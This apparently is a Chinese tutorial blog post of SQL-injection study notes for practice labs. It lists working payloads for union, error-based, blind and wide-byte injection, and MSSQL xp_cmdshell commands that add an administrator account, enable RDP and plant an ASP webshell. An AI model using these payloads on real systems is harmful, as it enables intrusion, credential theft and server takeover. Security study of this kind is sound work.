SQL注入

注入的原理和查找方式

注入产生的原理:是接受相关参数未经处理直接带入数据库查询操作.

注入漏洞的检测方法:单引号或者 and 1=1  and 1=2  

查找方式:1.与数据库交互的相关页面(asp注入,php注入,jsp注入)

                2.登录的地方,注册的地方,更新的地方,留言板等.

                3.可能出现注入的地方:http头、cookices、referer、useragent、post提交数据包的地方。

注入的分类

数字型、字符型、搜索型  %xxx%' or 1=1 #        、xx型    x') or 1=1#    。

注入的提交方式

get提交       地址栏可以看见参数

post提交     通过burp抓包

cookie提交  通过burp抓包

注入攻击类型与方式

union注入:通常与 order by 语句配合使用。

可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段

输入a' order by 4#%,反馈如图:

输入a' order by 3#%,反馈如图:

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%,反馈如图:

information_schema注入:information schema数据库是MYSQL系统自带的数据库。其中保存着关于MYSQL服务器所维护的所有其他数据库的信息。

1.先找出数据库的名称,输入vince' union select database(),user(),3# 判断数据库名称为pikachu .

2. 获取pikachu数据库的表名,输入:u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

3.获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'# 

4.最后获取字段值的内容,输入:e'union select username ,password,3 from users #

5. 获得账号密码,,,,密码是加密的,直接去cmd5解密就行.

基于函数报错注入updatexml函数: insert注入、update注入、delete注入,均配合burp抓包使用。

                                extractvalue()函数、

                                 floor()函数。

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

2、爆数据库当前用户

k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  

3、爆数据库

k' and  updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#  更改limit后面的数字limit 0完成表名遍历。得到用户名users

5、爆字段

获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#     得到password

6、爆字段内容

获取字段内容,输入:k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#     得到加密密码.

盲注布尔型SQL盲注:select ascii(substr(database(),1,1))>xx;   通过对比ascii码的长度,判断出数据库表名的第一个字符

           时间型SQL盲注:vince' and sleep(10)#    延迟10秒.

           报错型SQL盲注

宽字节注入:跟GBK有关,%df' or 1=1 。  原理:把单引号,双引号,斜杠和空格转义成斜杠,加一个%df把他转换成一个汉字,占取两个字节,然后加上单引号就可以注入了。

注意:宽字节空格、#如果被URL编码了,可能造成不能成功,可以使用burp抓包,   在重发器里修改为: vince%df'  or  1=1#   然后发送就可以成功查看.

access数据库

1.猜数据库表名和字段:   and exists(select * from users) ,查看是否有管理员这个表:and exists(select * from administrator)

   猜数据库表里面的字段:and exists(select password from administrator)、and exists(select user_name  from administrator)

2.猜字段内容:猜用户名几个字段:and (select top 1 len(user_name) from administrator)>1

                         猜字段ASCII值一个个字母去猜:and (select top 1 asc(mid(user_name,1,1)) from administrator)>0   ,一下下去判断。例如猜出第一个数字为97,然后用小葵转换工具反查ASCII值对应的字母,得到字符值为“a”,然后继续猜下一个字母.

3.高级查询,  order by 查询:前提是得到表名和字段,然后就行order by 猜解字段数目.例如查到了字段为7个。然后立马union select 1,2,3,4,5,6,7 from administrator 。回车,比如页面得到2,3,那么就在2和3的位置分别改为user_name,password ,再回车,账号密码就出来了。加密密码直接去cmd5网站转换就好。 

mysqql数据库 (自己下载msqql源代码,搭建环境练习)

sa权限:

               1.检查是不是mysqql数据库。and exists (select * from %20sysobjects)

               2.查询当前数据库的用户名。 and system_user=0   在浏览器低版本,ie 6.0才显示。

               3.检查注入点是否为sa权限。  and 1=(select IS_SRVROLEMEMBER('sysadmin'))

               4.判断xp_cmdshell存储过程中是否存在。 and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell').

恢复xp_cmdshell可以用 ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

                5.添加账号: ;exec master..xp_cmdshell 'net user test test /add'

                           ;exec master..xp_cmdshell 'net localgroup administrators test /add'  加入用户组

                6.开3389.   ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

dbowner权限:

                        1.检查是否为db_owner权限。and 1=(SELECT IS_MEMBER('db_owner'));--       

                         2.找出网站路径。(1).通过百度、goole、fofa查找,或者让他报错然后看是否出现路径等。                                       (2).通过相关语句。drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

and (select result from black where id=1)>0--    在ie 6.0操作。

                          3.写一句木马去获取webshell。;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.asp'--  C盘,测试网站所在目录下新增。然后打开中国菜刀软件,输入网址.muma.asp 就可查看系统内容。但是无法更改系统内容。

                             差异备份:;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\测试网站路径\ceshi.asp';alter database testdb set RECOVERY simple  。然后用getwebshell软件,在C盘目录下新建一个木马,然后用中国菜刀软件打开网站/ceshi.asp' 然后就可以查看了。

public权限:

1.获取当前网站数据库名称: and db_name ()=0--           结果:TestDB   

2.获取mssql所有库名和路径:%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)

输出结果:在将 nvarchar 值 'model^C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\model.mdf' 转换成数据类型 int 时失败。 

则库名为:model

3.获取当前数据库的所有表名:

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))--   结果:admin

递增上面查询语句中的数字n,就可以遍历出指定数据库中的所有表名。

4.爆表名字段名: having 1=1--                                  结果:admin.id    表名:admin   字段名:id 

                             group by admin.id having 1=1 --    结果:'admin.name' 

                             group by admin.id,admin.name having 1=1--  结果:'admin.passWord' 

5.获取字段内容:  /**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/wher/e**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1       输出结果:'1^yuan^123' 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值